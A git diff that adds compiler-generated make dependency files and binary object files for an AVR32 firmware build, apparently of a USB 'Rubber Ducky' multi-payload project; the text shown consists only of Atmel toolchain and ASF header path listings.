5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/asf/avr32/drivers/pm/pm.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/power_clocks_lib.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/power_clocks_lib.o new file mode 100644 index 0000000..7f40c69 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/power_clocks_lib.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/spi/spi.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/spi/spi.d new file mode 100644 index 0000000..4e7aae6 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/spi/spi.d @@ -0,0 +1,156 @@ +src/asf/avr32/drivers/spi/spi.d src/asf/avr32/drivers/spi/spi.o: \ + ../src/asf/avr32/drivers/spi/spi.c ../src/asf/avr32/drivers/spi/spi.h \ + ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ 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5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h + +../src/asf/avr32/drivers/spi/spi.h: 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5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h: + +c:\program\ files\ (x86)\atmel\avr\ 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(x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/spi/spi.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/spi/spi.o new file mode 100644 index 0000000..04285e0 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/spi/spi.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/usbb/usbb_device.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/usbb/usbb_device.d new file mode 100644 index 0000000..0fe6e6b --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/usbb/usbb_device.d @@ -0,0 +1,250 @@ +src/asf/avr32/drivers/usbb/usbb_device.d \ + src/asf/avr32/drivers/usbb/usbb_device.o: \ + ../src/asf/avr32/drivers/usbb/usbb_device.c ../src/config/conf_usb.h \ + ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ 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(x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h ../src/main.h \ + ../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h \ + ../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h \ + ../src/asf/common/services/usb/usb_protocol.h \ + ../src/asf/common/services/usb/usb_atmel.h \ + ../src/asf/common/services/usb/class/hid/usb_protocol_hid.h \ + ../src/asf/common/services/usb/udc/udc_desc.h \ + ../src/asf/common/services/usb/udc/udi.h \ + ../src/asf/common/services/usb/udc/udi.h \ + ../src/asf/common/services/clock/sysclk.h ../src/config/conf_clock.h \ + ../src/asf/common/services/clock/uc3b0_b1/sysclk.h \ + ../src/asf/common/services/clock/osc.h \ + ../src/asf/common/services/clock/uc3b0_b1/osc.h \ + ../src/asf/common/boards/board.h \ + ../src/asf/avr32/boards/evk1101/evk1101.h \ + ../src/asf/avr32/boards/evk1101/led.h \ + ../src/asf/common/services/clock/pll.h \ + ../src/asf/common/services/clock/uc3b0_b1/pll.h \ + ../src/asf/common/services/clock/genclk.h \ + ../src/asf/common/services/clock/uc3b0_b1/genclk.h \ + ../src/asf/common/services/usb/udc/udd.h \ + ../src/asf/common/services/usb/udc/udc_desc.h \ + ../src/asf/avr32/drivers/usbb/usbb_otg.h \ + ../src/asf/avr32/drivers/usbb/usbb_device.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/string.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/string.h \ + ../src/asf/common/services/sleepmgr/sleepmgr.h \ + ../src/asf/avr32/drivers/pm/sleep.h ../src/asf/avr32/drivers/pm/pm.h \ + ../src/asf/common/services/sleepmgr/uc3/sleepmgr.h \ + ../src/config/conf_sleepmgr.h + +../src/config/conf_usb.h: + +../src/asf/avr32/utils/compiler.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + 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/dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/usbb/usbb_device.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/fat.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/fat.d new file mode 100644 index 0000000..28c1dc7 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/fat.d @@ -0,0 +1,185 @@ +src/asf/avr32/services/fs/fat/fat.d src/asf/avr32/services/fs/fat/fat.o: \ + ../src/asf/avr32/services/fs/fat/fat.c ../src/config/conf_explorer.h \ + ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ 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c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 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5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h \ + ../src/asf/avr32/services/fs/fat/fs_com.h \ + ../src/asf/avr32/services/fs/fat/fat.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 